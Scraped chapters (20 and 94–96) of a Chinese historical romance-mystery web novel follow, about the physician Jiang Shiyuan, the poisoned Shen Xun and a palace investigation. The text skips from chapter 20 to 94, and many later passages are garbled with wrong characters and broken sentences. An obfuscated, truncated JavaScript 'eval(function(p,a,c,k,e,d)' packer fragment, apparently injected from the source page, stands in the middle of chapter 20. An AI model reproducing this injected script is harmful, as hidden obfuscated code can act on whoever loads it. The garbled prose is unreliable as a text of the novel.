何氏叩着门:“姜时愿,赶紧把门开开,你自己看看都什么时辰了,怎么还不起来下地干活呢,这成圈的鸡还没喂呢!” 隔着木门,传来几声闷声的咳嗽。“实在是不好意思,姨娘。今日突发高热,身子不爽,浑身酸疼得很,连下榻的力气也没有了。” 何氏竖着眉头:“你不是大夫吗,还会生病?我看你这是故意偷懒找得借口吧,看门我瞧瞧。” “说笑了,人吃五谷杂粮,哪有不生病的啊。姨娘若是不信我,时愿开门就是,只不过怕将病气渡给你。”话末,这咳嗽声愈发剧烈,听这声好似将嗓子咳出血般,嗓音也沙哑地不成人样。 这下何氏是真的有点信了,一则听这动静不像装得,二就是姜时愿入住她家后是勤勤恳恳,言行举止间那毕恭毕敬、低声下气的态度简直是把 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三七先将帕子泡进水里,然后想到了何氏的嘴脸,双手用力地反拧着帕子,水珠滴滴答答地往下坠:“少让姐姐干一天活,我这姨娘就好似欠了八百两银子似的。按我说,姐姐你就干脆多装几天病,也偷下懒。” 何氏多精啊,岂是那么好糊弄的,估计这点诡计瞒不了多久。 姜时愿道:“我骗何氏重病,就是为了掩藏他的存在。” 她笑了笑,掀起帐幔,青年的睡颜呈现她的眼下,他脸色惨白如冷玉,额前几缕碎发微垂而下,身上青绸里衣因为汗水浸湿而变得更加贴身,严丝合缝地贴着他的肌理,更显得行云流水、喷张勃发。明明重疾缠身的虚弱之资,可他偏偏将他此弱态融在他的优势之中,清俊儒雅之中又有种不可言述的妖治。 三七更是见看清榻上之人的美貌后,惊讶地久久都不出话来,这世上还有生得这么好的人,简直就是画中仙清逸绝尘。 再次开口,三七也难掩她的激动:“姐姐,你确定他就是白无常口中的沈氏余孤吗?” “八九不离十。”姜时愿看着三七,一颗碧绿玉石落在三七的掌中,上刻有笠书“沈”,“这是我在沈公子昏迷后,从他身上搜到的,这块玉石应该是他家族祖传的信物。” “天下信沈的人家这么多,这个沈氏到底是指哪家啊?还有,为什么观音庙中的三位杀手要他的命呢?”三七问。 姜时愿摇摇头,关于榻上之人她唯有的了解,只有他姓沈这一条线索,至于他出自哪个沈家,全名叫什么,还有过往,全部一无所知。 “一切的疑问,只有等沈公子醒来再问了。” 20. 020 “一切的疑问,只有等沈公子醒来再问了。” “我只知道他的命于我们而言很值钱,一个良籍户贴抵抗二百黄金。而他值两个良籍户贴,这么算来,他的命就值四百黄金。三七,你要知道富贵人家想买一个哑奴,可能只需花上几个铜板就够了。”姜时愿倏然冷笑一声,“看来,这世道惯把人分为三六九等也是有理的。” 三七挠着头:“不是要埋了沈氏后人的尸骨,带回信物,才能换两个良籍户贴,可他现在没死....这良籍怕是落空了...” “错了,白无常并不知道沈氏后人没死,只有你我二人知晓这个秘密。”姜时愿握着玉坠子,胸有成竹道:“所以,我们只需交给他这枚坠子,就可以彻底摆脱贱籍。” 忽然,竹榻上的‘沈公子’面色煞白,四肢出现轻微的生理性痉挛,不敢相信他正在承受多刺骨的痛楚,才能让机体都为之将他无言的剧痛喧嚣出口。 “他的额间好烫,可他身子明显是冷的。”三七慌了,她从未见过如此奇怪的病症。 姜时愿把上他的脉搏,脸色沉静:“他体内的毒又发作了,三七赶紧按我拟的草方去煎药,要快!” “我这就去煎药。” 姜时愿坐在榻沿,看着面色煞白的‘沈公子’,目光复杂交错。 此人身份未定,是善是恶皆未可知,若救了他,就会产生因果。 一念之差,于她而言都是变数,而且万一暗河知道沈氏余孤没有死,一定又会派杀手来赶尽杀绝,而因此又说不准会牵连自己和三七。 姜时愿手指微颤,指尖的银针落下。 软睫微颤。 她劝道自己,明哲保身,才是明智。 她愈发能感觉这陌生的自己,心中渗出源源不断的‘冷意’,是无奈,是憎恨,是害怕这仅仅存在心中最后一点柔软也如姜家一般无能守护.... 持针人的心不在焉,落下的银针,锋利的针下,扎了一下手指,沁出一小星的血珠。 她一瞬恍惚,耳畔响起熟悉的声音。 “姜淳,你是怎么做的兄长,时愿暗里学医你不仅不加以阻拦,反而帮她一起来欺瞒我?!” 这是阿耶的声音。 自己怎么好端端想起了此事? 想起此事,姜时愿掌心就生出薄汗,那时分明是自己有违礼制,去三理堂偷学医术正巧被家中的小厮发现回禀给阿耶。 听闻当时阿耶勃然大怒,不仅怒斥自己阁中侍卫及贴身侍女看顾不力,罚俸三月,最后还将此事波及到了姜淳的身上,罚家法三十,打得兄长三月都不曾下榻。 “女子学医,伤风败俗,闻所未闻!” “从今以后,让她安安分分呆在阁中,等着高嫁!” 堂下的姜淳面色泛白,他话音不衰:”谁规定阿愿一定要束在高阁,谁说她一定要为姜家而活,相夫教子。” “我的阿妹不是伤风败俗,悬壶济世就是善举,行善之人就有仁心。” “错的不是阿愿,是父亲,是蒙眼执笔的文人墨客,是妄图指点别人证明自身清白的世人,所以,阿愿无错。” ..... 所以,阿愿,无错。 再忆往事,她的眸中已有泪光。 兄长永远是对的,永远是敞亮的,是她自己慢慢迷失初心。医者,治病,救人,一切最纯粹的仁,不该被任何外物、杂念玷污,否则精神气全无。 最重的要是,她不愿让兄长看见如今的阿愿。 — “放心,我一定会救你,沈...” 话到嘴边,又凝噎住,姜时愿眼睫微垂,撩开沙帐,“我忘了,我只知沈公子的姓氏,还尚不知公子的名字。” 风从窗隙中吹来,榻上之人的鬓发微动。 姜时愿听到他意识朦胧地开了口,意外地回答了姜时愿,声音清清凌凌。 “循。” “我的名。” 这声微弱地不可查,但还是沁入她的耳中,姜时愿微微颦眉,喃喃道:“沈浔。” 他的名字,唤沈浔。 而此时。 榻上的‘沈浔’大汗淋漓,脸色都浮现一种斑驳的暗色。依然浸润在意识的深海之中,无法呼吸,双手双脚好似被无形的铁链束缚,桎梏在此,挣脱不得。那股宁静、深暗让他心中畏惧,甚至战栗。 “小子,报上名号来,我的双刀下从不斩无名之辈。” “告诉老夫,你叫什名字。” “我忘了,我只知公子的姓氏,还不知公子的名字。” 一时间,沈浔听见了许多人的声音,他们都在不断地、重复地问着自己同一个问题。他微微蹙了下眉头,倏然睁开双眸,眼前是一片黑暗。 他好似醒了,却又没醒。 不等沈浔反应,周身之景开始光怪陆离地幻化,四周倏然挤满了几乎疯魔的看客,他们双手高举,口中喊着厮杀的口号,那群声音盘旋在他的耳畔。 他环视一圈,自己正在斗兽场的中心。而站在他对面的是一位手持双刃、体格强健的悍匪,呲着牙,眼神凶恶地质问着他:“报上名字?我的双刀下从不斩无名之辈。” 名字?沈浔一怔,思绪空白..他怎么好似什么都想不起来了.... “罪奴,谢循。” 代替沈珣答的是个清亮又尚带着一声稚嫩的嗓音,谢循有些错愕地回头看去。 自己的身后不知何时站着一小郎君,年岁不大,模样却与自己十分相似,陌生却又熟悉。 话音刚落,场上二人就厮杀在一起,刀光剑影之下,温热的血一片片浇在铁笼之上。碎肉、断刃、献血扑洒满地,直至,这场生死厮杀直至有一人倒下,看客们鼓动的魔音才如烟散去。 谁活了下来? 沈浔刚想走上前去看个究竟。 可下一瞬乌云蔽日,大雨降至,转瞬之间,沈浔又站在长廊之外,看着又是一个与自己面容相似的少年长站在庭中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一起身,入目先是自己的衣衫被一只冰肌玉骨的素手半解开来,松垮地堆叠在腰上。茫然抬头,一个从未见过的女子,她的五官天然灵秀,气质卓然。 不过,这女子的举动多少有些‘色欲熏心’了。 大概刚是从梦魇中清醒,他的思绪还尚未清明。 看着女子慢慢抽拉出自己腰束的玉带,拨开里衣,顿了顿:“娘子,这是何意?” 姜时愿一怔,稍微抬起眼睑,迎面撞上点黑如墨的眸子,平静得带着雾气的湖面,清澈而又稍带冷意。 沈浔醒了? 真是一双极为好看的眼眸,姜时愿双颊意外地有些发烫,下意识地背过身去,回避他的视线,脑中想着得为他赶紧金正渡穴暂缓毒性,只留近乎淡漠的命令: “醒了?” “既然醒了,就请沈公子先褪去身上衣物吧。” 94、094 祁钰问:“什么计策?" “与虎谋皮,欲擒故纵。姜时愿道,“敌在明,我在暗,得让魅放松警惕,她才会露出端倪,殿下您对外可以宣称此案已结,四绝之一的魅就是晚上万寿宴的舞女,此案到此为止。“然后,姜司使要怎么做?"祁钰看着姜时愿,眼底映出的竟是谢循戴面具的模样,二人有着一样的眼神,张扬且肆意,也都有城府在胸,一子定乾坤的气势“魅所制烟毒,定会剩余料,所制烟毒的地点也定会留有蛛丝马迹,而万寿宴上胜圣人遇刺,皇城定会加倍戒严,我想魅还尚来不及清理罪证。“首先, 避免打草惊蛇,臣需要寻个身份,潜入皇城。“并且需要个贵人助我,寻个合理的理由,完成搜宫。 至于这位故人去哪找,天意立马给了姜时愿答案姜时愿走出东宫后,天色烟雨,淅淅沥沥,大袍大袍的红梅被寒风吹落,下起凄惨的花瓣雨来她看见、听见,有位衣着鲜亮的女子蹲在红梅下啜泣,衣袖都被雨水浸湿。姜时愿把纸伞递了过去,遮住可怜人的头顶:“见过公主殿下。” 她知道祁灵营还陷入挨了祁钰一巴掌的委屈中,懂她心中酸涩,可又因为守诺,不能说出祁轻的苦心,遂蹲下,接生她单薄的身子,安慰道:“淋两不打伞,可是会生病的,你若生病,太子殿下作为你的兄长是会心疼的,。失而复得的温暖像一个催化剂在祁灵营心里膨胀,塞满全腹的委屈顿时宣泄出来,她趴在姜时愿的肩头,声泪俱下,控诉着祁钰的心冷。姜时愿拍着她的肩,安抚道:“太子比谁都要爱殿下,臣敢保证,太子打了殿下一巴掌,至今仍在自责、懊悔。太子关心殿下,不然也不会派臣前来寻殿下踪迹。祁灵萱不信。姜时愿晓之以情:“珍惜眼前人,殿下切莫因为小事和太子置气生分,不然就如臣与臣的兄长一样,生死两隔,余生不复相见。说之,姜时愿也有了动容,冷雨之下,两个受伤之人,互相舔舐伤口。慢慢地,在姜时愿的开导之下,祁灵营止住了哭泣,揉了揉眼睛,看着姜时愿,疑惑道:“你是何人?本宫为何从未见过你?“臣乃接管典狱一处的姜时愿。"姜时愿谦卑行礼。谁料,祁灵萱眼睛还微红着,却嫌弃地皱了皱鼻子:“…,瞧你模样还怪好的,竟然跟''不要脸”的罗刹为伍,令人唏嘘。姜时愿知道永安公主口中的“不要脸”和“罗刹”皆是指的谢循,与他为伍,姜时愿白知羞耻,垂下螓首,不敢多言。而后,祁灵营用神有言不计较了,姜时愿听后才松下一口气,提出:“臣为太子殿下做事,不知公主可否看见太子的面子上,帮臣一个忙。"太子哥哥的忙,本宫自是要帮的…”倏然,祁灵营似想到什么,眼眸一转,忽然蹲下身,看着姜时愿,眼里生彩:“姜司使你乃典狱之人,自然对典狱极为熟悉,不知,你可否也帮本宫一个忙,帮本宫找个人吗? “殿下要找什么人?”姜时愿一怔。"本宫的心上人…,也可以说是未来的驸马.…本宫是在万寿宴上遇到他的!…”祁灵萱害红了脸,羞涩地捏着衣角,局促不安的手一上一下。"心上人?”姜时愿微微疑道,“可殿下为何要托臣找?“因为他说他是典狱中人,而且还给本宫看了腰牌,蛇纹银牌,正和典狱一模一样!姜司使也是典狱的人,定能帮我找到他!"“可惜他对我防备过重,告诉我的竟是个假名字,我去瞧了,典狱三处的云衢模样俊秀是俊秀,可是根本不长这样。"云衢?岂不是慕朝?公主莫非看上了慕朝?姜时愿想,慕朝如今混入典狱做事,用的乃是云衢的脸和身份,难怪永安公主说心上人根本不是长这样….因为公主看上的是慕朝本来的面容.姜时愿心定,以利益往来:“臣定能帮助殿下找出此人,但同样的,殿下也能否能帮臣两个忙?第一个忙,臣要伪装成你的贴身宫女蓝月,伴你左右.…"此举,姜时愿富有深意。后官女眷颇多,按着率算,魅有极大可能藏身在后官之中,所以她若想混入其中,在太子身边倒反而是个下策,相比之下,选择件子单纯的永安公主就高明得多。如今,为了放松魅的成备之心,典狱和祁钰顺水推舟宣称万寿宴一案已结,舞女即为魅,所以她必不能以典狱司使的身份正大光明讲言,反而,寻个官中之人的身份最为稳妥,也不会打草惊蛇。闻言,永安公主身边有一名贴身宫女蓝月,服侍公主数十载,最是忠心,遂姜时选择了她的身份。“得得得,不管姜司使几个条件,本宫都答应,只要不危害大庆江山社稷和父皇、母后。“保证。 阴雨一扫而过,祁灵萱跳起来和姜时愿击掌,“一言为定,只要你能帮本宫找到他。“一言为定。”姜时愿轻笑,行礼离开。"姜司使,等等…”祁灵营红着脸追了出来,气喘叮叮道,“本宫还来得及给你画像,不然你如间寻人一你且等等” 她从抽问间出一张自为巴平的回纸,姜时原因心中已右答案,工微推委,湖料话过道薄回细的背而看见熟恶之人的后眼,墨黑的长发,清隽的容颜,上挑的凤眼…姜时愿的心火蠢蠢欲动,咬紧后槽牙。“怎么姜司使难不成认识?”祁灵萱眼睛放了光.藏着身后的手被丹蔻葱甲掐得通红,姜时愿摇摇头,笑意勉强:“不认识…“ 回到典狱之后,姜时愿颇感燥意地收拾包裹,将入宫所需的一切都备好,包括去问慕朝要了常服侍在永安公主身旁的官女蓝月的皮相。 倏然这时,寒风破门而入,带来冷意,姜时愿回头张望,是沈浔推门而入。 姜时愿气急转身,拎着裙子坐在床沿旁,两只素手一遍一遍恨铁不成钢地系着包裹上的活结,奈何心乱,怎么也系不好,收整好的物件换慌乱之下零零散散掉了一地。 沈浔挨个弯腰拾起,递给阿愿,哪想阿愿侧脸不领情。 沈浔温声道:“我听慕朝说阿愿要进宫,如果阿愿要进皇宫,从此出入皇城皆需要入跸(1),我们怕是没有那么容易能够相见了。 尔后,沈浔问得轻声,小心翼翼地试探,“阿愿,可否让我陪你一同进官?我也可以助你查案。 沈浔嘴里的话半真半假,不想和阿愿分离是真,想进宫赶在阿愿之前找出魅也是真的。 他说出的话,轻柔缱绻,平仄好听,如同潺细流,有着说不完的浓情蜜意。 谁料,甜言蜜语却打动不了阿愿,姜时愿一改常态,盯着沈浔,斥如质问:“皇城之中究竟有谁在?你想入皇城究竟是舍不得我,还是舍不得 “还没来得及恭喜沈郎君马上可享荣华富贵,成为永安公主的驸马。”阿愿红了脸,扭过头去,将画纸揉成一团砸在沈浔的身上,沈浔不解,直至抚平褶皱。 “我总算知道万寿宴时你是如何混入戒备森严的皇城中,原来是…”姜时愿紧咬贝齿,气得指尖都显现出淡淡的粉色,宛如玉莲,她恨铁不成钢:“原来是牺牲美色,讨好贵人! 沈浔总算明白原委,蹲下来,握住她的柔荑。 姜时愿被他手掌的温度烫得讶然,抬眼望进一双深似海的眼眸中。 看着沈浔唇角微勾,带着舒朗的笑意,阿愿真的不明白,他到底在笑什么? 姜时愿气得结巴:“你你你不以为耻,反以为荣。 沈浔依旧笑着,弯起指弯,刮了下她的鼻尖,“阿愿,可是吃醋了?" “我没有你胡讲 “如果阿愿觉得是我的皮相作崇,我宁可不要这副皮相,只要阿愿解气就好。”说罢,沈浔一掌推落茶盖,拾起一片碎瓷,对着自己的脸就要划去,姜时愿大惊,使劲竭力阻止。 可惜,女子的力气终究是抵不过男子,姜时愿使劲力气,终究是让那锋芒歪了一隅,沈浔的脸上被划下一道不深不浅的口子 姜时愿吓得连忙查看连忙查看沈浔脸上的伤势,手指轻轻拂过,怕他疼,声音都柔了不少:“疼吗?" 好在,伤口不深,不会留疤。 她提心吊胆,心有余悸,怎料沈浔却想得如何拥美人在怀,一把搂过她的酥腰,埋入她的芳香之中,喉结轻滚,压抑着涌起的情.欲。 嗓音喑哑。 “还望阿愿疼疼我,我便不疼了。” 姜时愿看见他脸上挂彩,心有愧意,蹉跎稍刻,吻在他的眉心沈浔笑得温雅,再次抬眸,眼神明亮如星,眼神灼灼地盯着阿愿 “阿愿,这点远远不够。”他俯在她的耳旁,只说给她听:“阿愿,我们已是夫妻,怎能有长期分房而睡的道理?今晚我想留下来,可以吗?" 沈浔顺理成章地提出自己的非分之想。他能感受到阿愿的笃笃心跳和慌乱,暗暗一笑,转身欲走,衣袍带起些微凉的冷意后,姜时愿倏然惊醒,抓住沈浔的衣角。沈浔意料之中地单跪下来,动作轻柔地脱,去她的绣鞋,紧着是鞋袜,不紧不慢地拉低至她的脚踝,见之触目惊心的白,细嫩如玉沈浔惯会心计,也懂阿愿的心思。怕她着赧,便先挑足背开始,他如个虔诚的信徒亲吻她的脚背,充满敬意、爱意,但不掺杂半点欲。阿愿一惊,全身紧绷,待他发现他并无之外的举动后,也慢慢松下心防,谁料,沈浔似是故意地般,气息攀延而上,灼烫着她的每一寸皮肤姜时愿刚心生抵触,沈浔就缓兵不动,她方觉得自己多疑,沈浔顺势挑破她颤颤的心防。 她像是刀俎鱼肉。 在劫难逃。 她想去吹灯,沈浔却带着点不可言说的抗力扳回她的脸,吻住她的红,难舍难分,气息交缠。 他说:“阿愿,莫怕。 沈浔等着一天已久太久,早就洛阳初尝甜头之时,他便彻底沉沦于六.欲之中,反正他本不是神佛,何必遮掩本色? 食之色,谓之人。沈浔如鱼渴水,一手拽下青纱帐,夜风吹拂,暗香浮动。姜时愿的丝杭里衣被他堆罍在腰侧,沈浔勾起衣带,春,光尽显,终于看见阿愿亲手绣成那件水烟蓝睡莲报.袍他低伏下身,吻过“红.梅”一切水到渠成,姜时愿却在最后一刻害怕得发抖,双手抵在他的胸膛,眼里品莹,她不知如何开口,只因她看见沙浔落寞的眼神,她急到,结结巴巴的好在,沈浔极为懂她,为她盖上被褥,他嗓音压抑的、粗.重的、低沉的、安抚着她:“没事,阿愿,来日方长。姜时愿扑在他的怀里,享受着他的安抚,嗅着他熟悉的味道,语气微颤:“阿浔,随我一起入宫,帮我一起查案。因为,她也不舍得和沈浔分离太久,有沈得在的地方,她才会有主心骨。 “好。” (1)入跸是古代中国皇宫中的一种通行凭证。 95、095 翌日,慕朝闻言姜时愿要带沈浔进官,简直不可思议。虽然小姐和沈浔之事已成定局,他若再插手,便就是捧打鸳、毁人姻缘的罪者最重要的是,他看得出小姐眼中俱是沈浔,容不下别人,所以, 他不愿让小姐伤心,纵使再不情愿,也只敢暗里咒骂沈浔。慕朝道:“沈浔假冒我,用我的身份肆意勾搭永安公主,小姐不追究了?"虽说,他眼下的身份也是通过不正当的手段抢来的。 姜时愿心有歉意,替夫道歉:“沈浔肆意妄为,给你造成麻烦,我替他向你道歉。“这可使不得"“但是魅这一案兹事体大,进宫仅凭我一人,孤立无援,必不能探破此案,沈得的才能和本事你是知道,我带他入官并不是只是为了儿女情长,而是为了揪出魅。“慕朝,求你再帮我一个忙,我需要你帮他画一张人皮,让任何人都瞧不出他本来的面目。如此一来,沈浔便也可以伪造身份,随她入宫。“我知道的我会帮小姐的。片刻之后,慕朝存有私心地交给了姜时愿一个差强人意的答案。 姜时愿将人皮捏在手心之中,讲真,慕朝的手艺惟妙惟俏,人皮疤痕凸起黏连,纵横交错,翻卷处略带肉色,真如被泼了滚烫的辣油后毁容的面相。只是姜时愿转念想到这张扭曲的人皮要戴在沈得的脸上,当下就便有些犹豫。她觉得慕朝是故意的,明明喊他画一张相貌平平的人皮就够了,他非要画蛇添足,借题发挥慕朝见她有些犹豫,双手抱胸,语气幽幽:“我若不在这张人皮下足心思,沈浔定又要钻空借机招蜂引蝶。“小姐你难道还想看着沈浔再给你招来一个公主或郡主吗?"话音甫落,沈浔神不知鬼不觉地出现在二人面前,没有犹豫地接过人皮,覆盖在脸上姜时愿仅扫一眼,便不忍直视,慕朝则是不住地笑意,紧抿嘴唇,心里暗爽,心念道:这小姐终归是亲不下去了吧姜时愿按和永安公主“日息山头,琅琊客栈内相见”的约定,带着沈得,提前一步来到客栈内,问掌柜定了间上好的厢房,将沉香沁入水中,丝丝缕缕的雅香发散开来。暗香浮动。按着阿愿的计划,接下来她要和祁灵营身旁的宫女蓝月换身份,伪装成蓝月潜伏入宫所以,选在宫外,最为稳妥,不会被人察觉,遂和祁灵约定了琅琊客栈。她阖上双眸,沈浔侧身站在支摘窗旁,凤眸微挑扫过络绎不绝地来往车辆,倏尔,沈浔轻声提醒:“阿愿,你要等的人来了。"“可有人跟踪她们?”姜时愿面面俱到,见之沈得摇了摇头,姜时愿这才放下心来“咚咚咚”传来三声又轻又快的叩门声。姜时原连忙迎接来人,祁灵营带着服冬雪的赛气走入朋房内,抖了抖篷上的落雪,结果看着美时源的时候,脸色一证,再看看身后跟着的官女蓝月,一时竟然分不清选真谁假,她又惊又喜探着姜时原的脸,没想到志经语录中的画皮之术竟然是真的。就连本人蓝月见之,都久久没能回神,在姜时愿提醒之下才把自己腰间的官牌交付了出去,同时泪意顺着面烦尚下,“奴才不在宫中之时,还望姜司使多多照拂我家公主,千万看住她,别让她冲动行事。“委屈你在事情结束之前暂住在宫外了。”姜时愿柔声道。蓝月抹抹眼泪,“奴婢不委屈,太子殿下同时也嘱咐了奴婢和公主一定要鼎力协助美司使办案。“对了,姜司使昨日也不早说你进官是为了追查魅的,…本宫还委托你帮我找人…”祁灵管虽然刁蛮,但也识大体,“国家大义面前,本宫自知软轻勃重,姜司使可以先把本官的终身大事放一放,追查真凶为重.看来祁钰把事情全部告诉她们二人了,这样一来姜时愿也轻松了许多,行事也更加游刃有余。“兹事体大,事关庆国安危,还望殿下和蓝月姑娘一定要守口如瓶,统一口径,对外宣称万寿宴一案已结束,真凶魅已经落网。同时,最为主要的是保密我与沈司使的身份,千万不可被旁人发觉我们二人来自姜时愿谢过二人,着重强调道:典狱。“这是自然。”祁灵萱点点头,又整着黛眉,指着旁边的男子,指尖都颇为掀起地缩短一截,声音切切的:“姜司使,这位难不成就是你口中的沈司使见之沈浔脸上凹凸不平的烧伤疤痕,祁灵萱浑身起鸡皮疙瘩,心中直犯嘀咕:这也太污人眼睛。姜时愿双手交叠,作揖行礼,介绍到:“这是我的夫君沈得,还请公主殿下看后官各院中哪苑还少一位洒扫的内侍,可否将他安插进去?"祁灵营贝齿中吐出丝丝寒气,怔怔点头:“可以,但有句话本宫要跟姜司使讲在前头,他…绝对不能留在本宫的宫里。 毕竟,她的宫中从不养样貌不佳之人。“多谢,殿下。”这样正合了姜时愿的心意,她行礼明快地答谢。祁灵萱见她如此欣快,仿佛明白了什么,她将姜时愿悄悄拉至一旁,满是关心。“姜司使,你可是自愿与此人成婚的?"“没人强迫你吧?"“本宫心疼你,你若是想要和离,本宫一定帮你!" 言毕,祁灵萱安抚好蓝月,说了几句不舍的体己话,就跟避祸似地飞快地逃离了出去,钻入马车之内,脱去外衫,恨不得现在就传人沐浴,洗去一身污秽。姜时愿见此,笑意嫣然,谁料沈浔慢慢走至她的身后,嗓音幽幽,薄唇抵着她的耳珠,问道:“阿愿,满意了吗?"说罢,沈浔就要追随着她的红唇而去,毕竟入宫之后,各官官人之间见一面难如天,怎料阿原如个灵活的怀兔儿,竟然从他双管的径档中钻空溜了出去,她看着沈浔,面露难色,怯生生地说着抱歉:“阿浔 “不急一时。"她怕说实话伤了沈浔的心,可是看着这副皮囊,又委实有些考验她的心态沈浔眯了眯眼,眸光暗淡,他如今起了万次要把慕朝千刀万别的心。 一入皇城深似海,人心惶惶不可测。沈浔被祁灵营安插到了辰妃官中当洒扫内侍,姜时愿听闻是祁灵营和辰妃素有不合,几次言语顶撞,遂想祁灵营应是故意将“相貌丑陋的沈浔放入辰妃宫中恶心她,寒冬已过,闲花淡春,馥郁香气流转于黑夜,笙悦耳,倍添雅致。 月光斜斜落入重重官闱内,祁灵营趴在乌木案桌上,抱着心上人的画像望穿秋水,看着姜时愿的堆满宫规礼制的册子,就眼冒金星,祁灵萱不懂怎么会有人这么乐意学这些文文绉绉又无大用的繁文缛节,一把夺过姜时愿手中的册子,嘟懂道:“姜司使,你还要在这里专研多久,不抓魅呢?我们的计划呢、行动呢?“殿下",姜时愿叹息,“我都强调数遍了,我如今乃是殿下身边的贴身宫女蓝月,而非姜时愿,殿下一二再再而三管不住嘴,让我如何放心大展手脚?"姜时愿轻轻拿册子拍着她的头 祁灵萱自知错了,又言:“我真的谨记教训了,一定守口如瓶。” 姜时愿见她又是信誓旦旦的样子,微微叹气,已入皇城三日,她在极短的时间内学完宫闱礼制,谨言慎行,伪装蓝月,旁人应该察觉不出端倪. 长叹一口气后,姜时愿看着祁灵营说道:“殿下,陪我去趟地方吧。 夜幕深沉,眼前偌大的宫殿陷入死寂,阴沉湿冷,枯叶遍地,踩上去发生吱吱的声响,清脆骇人误入此地,残卷黑云瞬间暴涨,将月光最后一丝无暇也遮掩掉,眼前是浓墨不散的黑。“什么你要带本官来的竟是这里,不成的,绝对不成的,这乃后宫禁地,父皇下令封锁此宫,无人能进出此地,会掉脑袋的。”祁灵营接着姜时愿的玉臂,瑟瑟发抖。 闯禁地对她来说已经稀松平常,再无威胁和惧怕。 十八狱,皇陵南陵,宋府深苑,不都是禁地,可她不也都去了,不仅去了,还搅得天翻地覆。 “你竟然知道,为何还要执意来此?”祁灵萱心中隐隐生出一种不好的预感。 “圣人之令,无人敢进,所以禁地最是掩人耳目,如若我是魅,我定会选此地炼制烟毒。"姜时愿莞尔一笑,“你说是不是?"祁灵萱鬓发已经汗湿,眼角湿意,哭起了鼻子:“你别吓我了,姜司使我哪知道啊我若知道,你还不得帮我当魅抓起来"“蓝月。”姜时愿扶额再度纠正到自己的如今的假身份。姜时愿方推开沉闷的殿门,轻轻吹了一下火折子,霎时,火光映亮她清丽的五官,感觉到身后之人仍颤抖不止,问:“殿下这么害怕,还与我同来?"她执着微弱的火光,穿梭于金箔衰败的菩萨像之间,脚步声清晰可见。祁灵萱畏畏缩缩捏着她的衣角跟在她的身后,不敢看,小心翼翼地揶揄着,“你要是出事谁帮本宫找心上人啊.鸦羽睫毛投下淡淡的暗影,姜时愿幽幽叹息:“为了男色,殿下还真豁得出去” “本宫倒是觉得姜司使怎能做到不分美丑的。谢循长得骇人,宛若恶鬼转世。你的夫君面相丑陋,你还能…委身嫁于他,姜司使才真是让我敬佩之人。“好了。”姜时愿倏然止住脚步,转身询问正事:“殿下可否跟我讲讲这是哪里,先前此间宫殿又住了哪位嫔妃?" “柒美人。 “染美人?" 祁灵萱抿了抿唇,吞了吞口水,又道: “染美人也是楚国遗脉,桑锦公主。 “楚国?不是早就被灭国吗?" 宣德二十年间,圣人亲自挂帅攻打楚国,旨在开疆扩土、统一七国,实现帝王野心。六国接连战败,楚国也在劫难逃,面对庆国的强智清兵、战马健壮,楚国兵微将真白是不敌,不出三月,城门被破,庆帝创脂楚国帝王。 也正是此年,庆国宣布国灭。姜时愿道:“可我从未听过圣人有收容桑锦公主为妃?”“嘘——”祁灵萱连忙示意不可声张,神色古怪,“姜司使此事绝不可外传,皇室机密,也是父皇此生的心病,不然也不会将这划为禁地,任何人不得踏足."“所以,殿下,当年究竟发生了何事?这也许对破案大有帮助”在家国大义面前,祁灵萱几经犹豫之后,最后决定自揭家丑:“罢了,罢了,本宫告诉你楚国灭国后三年,庆帝游离铜雀台,忽见一女立于琼楼玉字,素手拨捻琴弦,如泣如诉,眉若新月,唇若点绛,一颦一笑间,倾国倾城.庆帝一见倾心,遂将此女带回皇城,封为"染美人’柒美人独享圣宠,后宫众人无人能及,直至一封密信传至圣人的手中,圣人见之大怒,直)中琐春阁,抽出面叨,直指染美人,口中愤满不已:“好啊.你歌骗弧?你是楚国余孽,璇现公主?“你到底是何意,相遇、恩爱皆是你的算计!你是不是在等着孤哪日放松警惕之时,要了孤的命,助你们楚国复国嘛!天子一怒,如雷雨惊蛰。夜雨弥天,电光耀眼。 柒美人明眸中的眼泪欲坠未坠,她握住刀柄直戳自己的胸口,猩红的鲜血氙出月白的群衫,而庆帝仿佛视而不见,心火如怒就要吞噬这一切。 染美人泪干肠断,却一滴眼泪也哭不出。 她的泪,早在楚国国破家亡之时就已经流干了。 她看着眼前陌生的爱人,心觉悲哀,或许她早该意识到帝王之爱最是无情。 染美人哽咽难言,也无话可言,看着尚在襁褓之中的婴儿,最后问了一句:“以我之命,可否唤我和陛下的孩子活下去。 “求你。"她轻声呼唤,希望唤起帝王的温存,可帝王眼里只有淡漠,一剑封喉,温热的血从雪白的脖颈喷涌而出,零星漫到他的眉眼之上。锁春台的宫人伏跪在地,不敢应声,也不敢抬头。只听到圣人阔步而出,只留无情的命令。“即日起,锁宫,孤不想听到任何人再提及染美人,还有“此子,不留。 96、096 在祁灵营看来染美人隐藏是亡国公主的身份,卧薪尝胆,接近父皇,居心可测,还好父皇乃是真龙天子,白有天眷,提前查清染美人的嘴脸,揭穿阴谋, 忆起往事,祁灵萱仍是愤懑不已,说染美人死有余辜,父皇能留她一命,已是顾念旧情,格外开恩。接连说了几句,见姜时原都没搭流,祁灵营这才回眸一觑,只见美时原已经离她三尺远,站在梳妆案的铜镜前,看着满画的珠光凤银、金锡银饰蒙尘黯淡,姜时原心中竟然生出一丝伤感,片刻后道:“臣倒有些不同的看法。“或许柒美人最初接近陛下的目的确实是不怀好意,希望暗杀大庆圣人,以报灭国血仇, 重振楚国。虽然姜时愿也无法接受心中的答案,可她继续分析着''天方夜谭’“柒美人身为陛下身边最受宠的美人,每夜同床共枕,甚至还为陛下诞下一个孩子。独处机会,动手机会甚多,我相信染美人有无数个可!以杀死陛下的绝佳时机,可她…或者说圣人为什么能安然无恙?"“再是璇玑公主的身份揭露之后,柒美人为何不拼死一搏,而是像已在心中预演过无数遍一样安然赴死。”不知为何,此时此景,没有实证,仅凭猜测,或者说一些说不清且道不明的,感同身受,姜时愿似能与曾居住此地的柒美人共情,摸着衣裙的指甲如荷尖般掐出淡淡的烟粉色姜时愿的杏眸,望穿铜镜,仿佛能和铜镜之中倒映出的袅袅的影子遥相对视 镜中之人,好似是她从未见过的染美人,薄施粉黛,就已美得惊心动魄。 但可惜,美则美矣,却败在一双如新月哀亮的眼睛上。 